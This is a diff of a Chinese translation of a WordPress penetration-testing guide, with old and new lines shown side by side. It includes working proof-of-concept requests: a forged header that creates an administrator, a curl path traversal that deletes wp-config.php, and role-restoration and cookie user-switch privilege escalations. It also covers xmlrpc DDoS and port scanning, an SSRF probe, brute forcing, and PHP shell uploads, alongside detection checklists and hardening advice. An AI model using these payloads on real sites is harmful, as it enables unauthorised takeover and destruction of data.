因此,如果你有有效的 creds 但主入口受 2FA 保护,**你可能能够滥用 xmlrpc.php 使用这些 creds 登录,从而绕过 2FA**。注意,你无法执行通过控制台能做的所有操作,但你仍可能达到 RCE正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
**DDoS 或端口扫描** **DDoS 或端口扫描**
如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口发送任意请求。\ 如果你能在方法列表中找到 _**pingback.ping**_,你可以让 Wordpress 向任意主机/端口 发送任意请求。\
这可以用来让 **成千上万** 的 Wordpress **站点****访问** 同一 **地址**(从而在该处触发 **DDoS**),或者用来**Wordpress****扫描** 某些内部 **网络**(你可以指定任端口)。 这可用于让 **成千上万** 的 Wordpress **站点****访问** 同一个 **目标**(从而在该处造成 **DDoS**),或者你也可以用它**Wordpress****扫描** 某些内部 **网络**(你可以指定任端口)。
```html ```html
<methodCall> <methodCall>
<methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName>
@ -192,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
如果你得到 **faultCode** 值大于 **0**17则表示端口是开放的。 如果你得到 **faultCode** 的值 **大于** **0** (17),那就意味着端口是开放的。
查看前一节中对 **`system.multicall`** 的用法,学习如何滥用此方法来造成 DDoS。 查看上一节中 **`system.multicall`** 的用法,了解如何滥用此方法来引发 DDoS。
**DDoS** **DDoS**
```html ```html
@ -210,15 +209,15 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### wp-cron.php DoS ### wp-cron.php DoS
该文件通常存在于 Wordpress 站点的根目录:**`/wp-cron.php`**\ 该文件通常位于 Wordpress 站点根目录:**`/wp-cron.php`**\
此文件被**访问**时,会执行一次**“重”** MySQL **查询**,因此**攻击者**可以利用它**导致** **DoS**。\ 访问该文件时会执行一个“耗费资源”的 MySQL 查询,因此可被攻击者利用导致 DoS。\
外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Worpress 页面时),在高流量站点可能导致问题DoS 外,默认情况下,`wp-cron.php` 会在每次页面加载时被调用(任何客户端请求任何 Wordpress 页面时在高流量站点可能导致问题DoS
建议禁用 Wp-Cron并在主机内创建一个真实的 cronjob以定期执行所需操作避免引发问题)。 建议禁用 Wp-Cron并在主机上创建真实的 cronjob 定期执行所需任务(以避免问题)。
### /wp-json/oembed/1.0/proxy - SSRF ### /wp-json/oembed/1.0/proxy - SSRF
尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_Worpress 站点可能会向你发起请求。 尝试访问 _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_Wordpress 站点可能会向你发起请求。
This is the response when it doesn't work: This is the response when it doesn't work:
@ -231,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}} {{#endref}}
该工具检查是否存在 **methodName: pingback.ping** 以及路径 **/wp-json/oembed/1.0/proxy**,如果存在则尝试利用它们。 该工具检查是否存在 **methodName: pingback.ping** 路径 **/wp-json/oembed/1.0/proxy**,如果存在则尝试利用它们。
## 自动化工具 ## 自动化工具
```bash ```bash
@ -239,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin" #You can try to bruteforce the admin user using wpscan with "-U admin"
``` ```
## 通过覆盖一位获取访问权限 ## 通过覆盖一个 bit 获得访问权限
这更多是个好奇的例子,而不是真正的攻击。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 bit。所以你可以翻转文件 `/var/www/html/wp-includes/user.php` 的位置 `5389`,以 NOP 掉 NOT (`!`) 操作 与其说是一次真正的攻击,不如说是个好奇的实验。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任意 wordpress 文件的 1 个 bit。因此你可以翻转文件 `/var/www/html/wp-includes/user.php` 的偏移 `5389` 处的位,把 NOT (`!`) 操作变成 NOP
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
``` ```
## **面板 RCE** ## **面板 RCE**
**修改所用主题中的 php需要 admin 凭证** **修改所用主题中的 php需要 admin credentials**
外观 → 主题编辑器 → 404 Template在右侧 Appearance → Theme Editor → 404 Template在右侧
将内容改为 php shell 将内容改为 php shell
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
互联网上搜索如何访问该已更新页面。本例中你需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) 在网上搜索如何访问该已更新页面。本例中你需要访问: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
@ -270,16 +269,16 @@ use exploit/unix/webapp/wp_admin_shell_upload
### PHP plugin ### PHP plugin
可能可以将 .php 文件作为 plugin 上传。\ 可能可以上传 .php 文件作为插件。\
创建你的 php backdoor,例如使用 使用例如下面的方法创建你的 php backdoor
![](<../../images/image (183).png>) ![](<../../images/image (183).png>)
然后添加一个新的 plugin 然后添加一个新的插件
![](<../../images/image (722).png>) ![](<../../images/image (722).png>)
Upload plugin 并按 Install Now 上传插件并按 Install Now
![](<../../images/image (249).png>) ![](<../../images/image (249).png>)
@ -287,7 +286,7 @@ Upload plugin 并按 Install Now
![](<../../images/image (70).png>) ![](<../../images/image (70).png>)
这看起来可能不会有任何反应,但如果你转到 Media你会看到上传的 shell 表面上可能看起来没有任何反应,但如果你进入 Media你会看到你的 shell 已上传
![](<../../images/image (462).png>) ![](<../../images/image (462).png>)
@ -297,30 +296,30 @@ Upload plugin 并按 Install Now
### Uploading and activating malicious plugin ### Uploading and activating malicious plugin
该方法涉及安装已知存在漏洞的恶意 plugin并可被利用以获取 web shell。该过程通过 WordPress dashboard 执行,步骤如下 此方法涉及安装已知存在漏洞的恶意插件并利用它来获取 web shell。该过程通过 WordPress dashboard 按如下方式进行
1. **Plugin Acquisition**: 从诸如 Exploit DB 的来源获取该 plugin例如 [**here**](https://www.exploit-db.com/exploits/36374). 1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**: 2. **Plugin Installation**:
- 导航到 WordPress dashboard然后进入 `Dashboard > Plugins > Upload Plugin` - 在 WordPress dashboard 中,转到 `Dashboard > Plugins > Upload Plugin`
- 上传下载的 plugin 的 zip 文件。 - 上传已下载插件的 zip 文件。
3. **Plugin Activation**: plugin 安装成功后,必须通过 dashboard 激活。 3. **Plugin Activation**: 插件成功安装后,必须通过 dashboard 进行激活。
4. **Exploitation**: 4. **Exploitation**:
- 安装并激活 reflex-gallery plugin 后,由于其已知存在漏洞,可以对其进行利用 - 当安装并激活了插件 "reflex-gallery" 后,可以利用该已知存在漏洞的插件进行攻击
- Metasploit framework 为该漏洞提供了 exploit。通过加载相应模块并执行特定命令可建立 meterpreter 会话,从而获取对站点的未授权访问。 - Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令可以建立一个 meterpreter 会话,从而获得对站点的未授权访问。
- 请注意,这只是利用 WordPress 站点的众多方法之一。 - 需要注意的是,这只是利用 WordPress 站点的众多方法之一。
内容包括展示在 WordPress 仪表盘中安装和激活 plugin 步骤的图示。不过需要注意的是,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。该信息应负责任地使用,并仅在合法情境下,例如具有明确许可的 penetration testing 时使用。 内容包含描绘在 WordPress dashboard 中安装和激活插件步骤的可视化辅助图像。但重要的是要注意,在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,并仅在合法情境中,例如获得明确许可的 penetration testing 时使用。
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## 从 XSS 到 RCE ## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个脚本,旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)**其他 WordPress 的严重漏洞。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress 6.X.X、5.X.X 和 4.X.X 版本的支持,并允许: - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ 是一个旨在将 **Cross-Site Scripting (XSS)** 漏洞升级为 **Remote Code Execution (RCE)** WordPress 中其他严重漏洞的脚本。更多信息请查看 [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 Wordpress Versions 6.X.X, 5.X.X 和 4.X.X 的支持,并允许:
- _**Privilege Escalation:**_ 在 WordPress 中创建一个用户。 - _**Privilege Escalation:**_ 在 WordPress 中创建用户。
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义 plugin (backdoor) 上传到 WordPress。 - _**(RCE) Custom Plugin (backdoor) Upload:**_ 将你的自定义插件backdoor上传到 WordPress。
- _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置的 plugin - _**(RCE) Built-In Plugin Edit:**_ 编辑 WordPress 内置插件
- _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置的 theme - _**(RCE) Built-In Theme Edit:**_ 编辑 WordPress 内置主题
- _**(Custom) Custom Exploits:**_ 为第三方 WordPress plugins/themes 提供自定义 exploits - _**(Custom) Custom Exploits:**_ 为第三方 WordPress 插件/主题提供自定义 exploit
## Post Exploitation ## Post Exploitation
@ -336,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### 攻击面 ### 攻击面
了解 Wordpress 插件如何暴露功能是发现其功能性漏洞的关键。你可以在下面的要点中看到插件可能如何暴露功能,以及一些易受攻击插件的示例,详见 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). 了解 Wordpress 插件如何暴露功能对于发现其功能中的漏洞至关重要。你可以在下面的要点中看到插件可能如何暴露功能,以及在 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) 中一些易受攻击插件的示例。
- **`wp_ajax`** - **`wp_ajax`**
插件暴露给用户功能的方式之一是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或认证漏洞。此外,这类函数很常见地将认证和授权都基于 wordpress nonce 的存在,而 **任何在该 Wordpress 实例中已验证的用户都可能拥有**(与其角色无关)。 插件将功能暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑错误、authorization 或 authentication 漏洞。此外,这些函数很常见地会基于 wordpress nonce 的存在来同时判断 authentication 和 authorization而该 nonce **any user authenticated in the Wordpress instance might have**(与其角色无关)。
下面是可用于在插件中暴露功能的函数: 这些是可以用来在插件中暴露函数的函数:
```php ```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
``` ```
**使用 `nopriv` 会使该 endpoint 可被任何用户访问(甚至未认证的用户)。** **使用 `nopriv` 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。**
> [!CAUTION] > [!CAUTION]
> 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,该函数通常只是检查用户是否已登录,并不会检查用户的角色。因此低权限用户可能能够访问高权限操作。 > 此外,如果函数只是使用 `wp_verify_nonce` 来检查用户的授权,`wp_verify_nonce` 通常只是检查用户是否已登录,并不会检查用户的角色。因此低权限用户可能能够访问高权限操作。
- **REST API** - **REST API**
也可以通过在 WordPress 中使用 `register_rest_route` 函数注册 REST API 来公开函数: 也可以通过在 wordpress 中使用 `register_rest_route` 函数注册 REST API 路由来暴露函数:
```php ```php
register_rest_route( register_rest_route(
$this->namespace, '/get/', array( $this->namespace, '/get/', array(
@ -364,21 +363,21 @@ $this->namespace, '/get/', array(
) )
); );
``` ```
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method. `permission_callback` 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.** **如果使用内置的 `__return_true` 函数,它会直接跳过用户权限检查。**
- **直接访问 php 文件** - **直接访问 php 文件**
当然Wordpress 使用 PHP插件内部的文件可以从 web 直接访问。因此,如果某个插件暴露了仅需访问该文件即可触发的易受攻击功能,那么任何用户都可以利用它 当然Wordpress 使用 PHP插件内的文件可以直接通过 Web 访问。因此,如果某个插件暴露了只需访问文件即可触发的易受攻击功能,该功能将被任何用户利用
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一些插件为内部集成或反向代理实现了“trusted header”快捷方式然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者就可以伪造它并以管理员身份访问有权限的 REST 路由。 一些插件为内部集成或 reverse proxies 实现了“trusted header”快捷方式并使用该 header 为 REST 请求设置当前用户上下文。如果该 header 没有被上游组件以加密方式绑定到请求,攻击者可以伪造它,从而以管理员身份访问有特权的 REST 路由。
- Impact: 未认证的权限提升到 admin通过核心 users REST 路由创建新的管理员。 - Impact: 未经认证即可通过 core users REST route 创建新的管理员,从而实现权限提升为管理员。
- Example header: `X-Wcpay-Platform-Checkout-User: 1`(强制 user ID 1通常是第一个管理员帐号 - Example header: `X-Wcpay-Platform-Checkout-User: 1` (强制使用用户 ID 1通常是第一个管理员账户)
- Exploited route: `POST /wp-json/wp/v2/users`,使用提升的 role 数组。 - Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC PoC
```http ```http
@ -392,31 +391,31 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
``` ```
为什么它有效 Why it works
- 插件将客户端可控的 header 映射到认证状态,并跳过 capability checks - 插件将客户端可控的 header 映射到认证状态并跳过能力检查
- WordPress core 期望此路由具有 `create_users` capability该插件利用此点通过直接从 header 设置当前用户上下文来绕过它 - WordPress core 期望该路由具有 `create_users` 能力;该插件利用 header 直接设置当前用户上下文以绕过此检查
预期成功指标 Expected success indicators
- 返回 HTTP 201且响应体为描述已创建用户的 JSON。 - HTTP 201 with a JSON body describing the created user.
- `wp-admin/users.php` 中可见一个新的管理员用户。 - A new admin user visible in `wp-admin/users.php`.
检测清单 Detection checklist
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- 审查 REST 注册,查找缺乏健壮 `permission_callback` 检查、且依赖请求 header 的特权回调。 - Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
- 查找在 REST 处理器内仅以 header 值为门控的核心用户管理函数 (`wp_insert_user`, `wp_create_user`) 的使用。 - Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
### 通过 wp_ajax_nopriv 的未经认证任意文件删除 (Litho Theme <= 3.0) ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: WordPress 主题和插件经常通过 `wp_ajax_``wp_ajax_nopriv_` 钩子公开 AJAX 处理程序。 当使用 **_nopriv_** 变体时 **回调会变为未认证访客可访问**,所以任何敏感操作还必须额外实现:
1. 一个 **capability check**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及 1. 一个 **capability check**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
2. 一个通过 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及 2. 一个使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
3. **严格的输入消毒/验证**。 3. **严格的输入过滤 / 验证**。
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): Litho 多用途主题 (< 3.1) *Remove Font Family* 功能中遗漏了这三项控制最终随包发布了以下代码已简化
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -435,35 +434,37 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
``` ```
* **未经身份验证的访问** 已注册 `wp_ajax_nopriv_` 钩子。 这个代码片段引入的问题:
* **No nonce / capability check** 任何访客都可以访问该端点。
* **No path sanitisation** 用户可控的 `fontfamily` 字符串在未过滤的情况下被拼接到文件系统路径中,允许经典的 `../../` 目录遍历。 * **未认证访问** 已注册 `wp_ajax_nopriv_` hook。
* **没有 nonce / capability 检查** 任何访客都可以访问该 endpoint。
* **未对路径进行清理** 用户控制的 `fontfamily` 字符串被拼接到文件系统路径且未经过过滤,允许经典的 `../../` 遍历。
#### 利用 #### 利用
攻击者可以通过发送一个 HTTP POST 请求,删除位于 **uploads 基目录以下** 的任意文件或目录(通常是 `<wp-root>/wp-content/uploads/` 攻击者可以通过发送一个单一的 HTTP POST 请求删除位于 **uploads 基目录以下**(通常为 `<wp-root>/wp-content/uploads/`)的任意文件或目录
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \ -d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php' -d 'fontfamily=../../../../wp-config.php'
``` ```
因为 `wp-config.php` 位于 *uploads* 之外,默认安装中四个 `../` 就足够了。删除 `wp-config.php` 会在下一次访问时强制 WordPress 进入 *安装向导*,从而允许完全接管站点(攻击者只需提供新的 DB 配置并创建一个管理员用户)。 Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
其他有影响的目标包括插件/主题的 `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。 其他有重大影响的目标包括插件/主题的 `.php` 文件(用于破坏安全插件)或 `.htaccess` 规则。
#### 检测清单 #### Detection checklist
* 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()` 等)的 `add_action( 'wp_ajax_nopriv_...')` 回调。 * 任何调用文件系统辅助函数(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 等)的 `add_action( 'wp_ajax_nopriv_...')` 回调。
* 将未经过滤的用户输入串联进路径(查找 `$_POST`, `$_GET`, `$_REQUEST`)。 * 将未经过滤的用户输入拼接到路径中的情况(查找 `$_POST`, `$_GET`, `$_REQUEST`)。
* 缺少 `check_ajax_referer()``current_user_can()`/`is_user_logged_in()` * 缺少 `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`
--- ---
### 通过过时角色恢复和缺失授权进行的权限提升 (ASE "View Admin as Role") ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
许多插件通过在 user meta 中保存原始角色以实现 "view as role" 或临时角色切换功能,以便之后还原。如果还原流程仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查 capabilities 和有效的 nonce这就会成为一次垂直权限提升。 许多插件通过将原始角色保存在 user meta 中以便稍后恢复,来实现“以角色查看”或临时角色切换功能。如果恢复路径仅依赖请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而没有检查权限能力和有效的 nonce那么这会成为一次垂直权限提升。
在实际案例中Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1存在此问题。reset 分支在内部数组 `$options['viewing_admin_as_role_are']` 中出现该用户名时,会根据 `reset-for=<username>` 恢复角色,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加保存角色之前,既没有执行 `current_user_can()` 检查,也没有进行 nonce 验证 在实际案例中,Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1中发现了一个例子。reset 分支在用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 时,会基于 `reset-for=<username>` 恢复角色,但在移除当前角色并从 user meta `_asenha_view_admin_as_original_roles` 重新添加保存角色之前,既没有执行 `current_user_can()` 检查,也没有验证 nonce
```php ```php
// Simplified vulnerable pattern // Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) { if ( isset( $_REQUEST['reset-for'] ) ) {
@ -480,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
``` ```
为什么可被利用 为什么可被利用
- 信任 `$_REQUEST['reset-for']` 和一个插件选项,而没有进行服务端授权。 - 信任 `$_REQUEST['reset-for']` 和一个插件选项,但没有进行服务器端授权。
- 如果某用户之前在 `_asenha_view_admin_as_original_roles`保存了更高权限并被降级,他们可以通过访问重置路径恢复这些权限。 - 如果某用户之前的更高权限保存`_asenha_view_admin_as_original_roles` 中并被降级,他们可以通过访问重置路径恢复这些权限。
- 在某些部署中,任何已认证用户都可以为仍存在 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权缺陷)。 - 在某些部署中,任何已认证用户都可以为仍存在 `viewing_admin_as_role_are` 的另一个用户名触发重置(授权错误)。
利用(示例) 利用(示例)
```bash ```bash
@ -492,23 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \ curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>' 'https://victim.example/wp-admin/?reset-for=<your_username>'
``` ```
在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 `administrator`),从而实现权限提升 在易受攻击的构建中,这会移除当前角色并重新添加已保存的原始角色(例如 `administrator`),从而实际上提升权限
检测清单 Detection checklist
- 查找在 user meta 中持久化 “original roles” 的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。 - 寻找将“原始角色”持久化到 user meta 的角色切换功能(例如 `_asenha_view_admin_as_original_roles`)。
- 识别重置/还原路径,这些路径: - 识别执行重置/恢复的路径,这些路径:
- 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。 - 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。
- 通过 `add_role()` / `remove_role()` 修改角色,而没有使用 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()` - 通过 `add_role()` / `remove_role()` 修改角色,但未使用 `current_user_can()``wp_verify_nonce()` / `check_admin_referer()`
- 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于操作者的能力。 - 基于插件选项数组(例如 `viewing_admin_as_role_are`)进行授权,而不是基于操作者的权限能力。
--- ---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”) ### 在公共 init 钩子上通过受 cookie 信任的用户切换实现的未认证权限提升Service Finder “sf-booking”
一些插件将用户切换辅助函数挂到公共的 `init` hook并从客户端可控的 cookie 中推断身份。如果代码在未验证身份、能力和有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何未认证的访问者都可以强制以任意用户 ID 登录。 有些插件会将用户切换的辅助函数挂到公共的 `init` 钩子,并从客户端可控的 cookie 推断身份。如果代码在未验证身份、权限及有效 nonce 的情况下调用 `wp_set_auth_cookie()`,任何未认证的访问者都可以强制以任意用户 ID 登录。
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): 典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1
```php ```php
function service_finder_submit_user_form(){ function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -539,11 +540,11 @@ wp_die('No original user found to switch back to.');
``` ```
为何可被利用 为何可被利用
- 公共的 `init` hook 使得该处理程序对未认证的用户可达(没有 `is_user_logged_in()` 保护)。 - 公开的 `init` hook 使得处理程序对未认证的用户可访问(没有 `is_user_logged_in()` 保护)。
- 身份来自于可由客户端修改的 cookie`original_user_id`)。 - 身份来自客户端修改的 cookie`original_user_id`)。
- `wp_set_auth_cookie($uid)` 的直接调用会将请求者以该用户身份登录,而不会进行任何 capability/nonce 检查。 - 直接调用 `wp_set_auth_cookie($uid)` 会将请求者以该用户的身份登录,且没有任何 capability/nonce 检查。
利用(无需身份验证) 利用(未认证)
```http ```http
GET /?switch_back=1 HTTP/1.1 GET /?switch_back=1 HTTP/1.1
Host: victim.example Host: victim.example
@ -553,32 +554,32 @@ Connection: close
``` ```
--- ---
### WAF 对 WordPress/plugin CVEs 的考 ### WAF 对 WordPress/plugin CVEs 的考
通用的 edge/server WAFs 针对广泛模式SQLi, XSS, LFI进行调优。许多高危的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非检测引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量。 通用的边缘/服务器 WAF 通常针对广泛模式进行调整SQLi、XSS、LFI。许多高影响的 WordPress/plugin 漏洞是特定于应用的逻辑/认证缺陷,除非引擎理解 WordPress 路由和插件语义,否则这些请求看起来像正常流量。
攻击提示 攻击端注意事项
- 针对 plugin 特定端点使用干净的 payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. - 针对插件特定端点使用干净的 payloads`admin-ajax.php?action=...``wp-json/<namespace>/<route>`、自定义文件处理器、shortcodes。
- 先测试未认证路径AJAX `nopriv`, REST 中带宽松的 `permission_callback`, 公开 shortcodes。默认 payloads 往往在不混淆的情况下就能成功。 - 先尝试未授权路径AJAX `nopriv`REST 的宽松 `permission_callback`公开 shortcodes。默认 payloads 往往在不混淆的情况下就能成功。
- 常见的高危情况权限提升broken access control)、任意文件上传/下载、LFI、open redirect。 - 典型的高影响场景:权限提升(访问控制失效)、任意文件上传/下载、LFI、open redirect。
防御提示 防御注意事项
- 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层、针对具体漏洞的虚拟补丁或尽快更新。 - 不要依赖通用的 WAF 签名来防护 plugin CVEs。应实现应用层、针对漏洞的虚拟补丁或尽快更新。
- 在代码中优先使用正向安全检查capabilities、nonces、严格的输入验证而不是基于否定的 regex 过滤。 - 在代码中优先采用正向安全检查capabilities、nonces、严格的输入验证而非基于否定的 regex 过滤。
## WordPress Protection ## WordPress 防护
### Regular Updates ### 定期更新
确保 WordPress、plugins 和 themes 已更新到最新版本。还要确认在 wp-config.php 中启用了自动更新: 确保 WordPress、插件和主题均为最新。还要确认在 wp-config.php 中启用了自动更新:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' );
``` ```
外,**仅安装可信的 WordPress 插件和主题**。 外,**仅安装可信的 WordPress 插件和主题**。
### 安全插件 ### 安全插件
@ -591,13 +592,13 @@ add_filter( 'auto_update_theme', '__return_true' );
- 移除默认的 **admin** 用户 - 移除默认的 **admin** 用户
- 使用 **强密码** 和 **2FA** - 使用 **强密码** 和 **2FA**
- 定期 **审查** 用户 **权限** - 定期 **审查** 用户 **权限**
- **限制登录尝试** 以防止 Brute Force 攻击 - **限制登录尝试次数** 以防止 Brute Force 攻击
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。 - 重命名 **`wp-admin.php`** 文件,并且仅允许内部或某些 IP 地址访问。
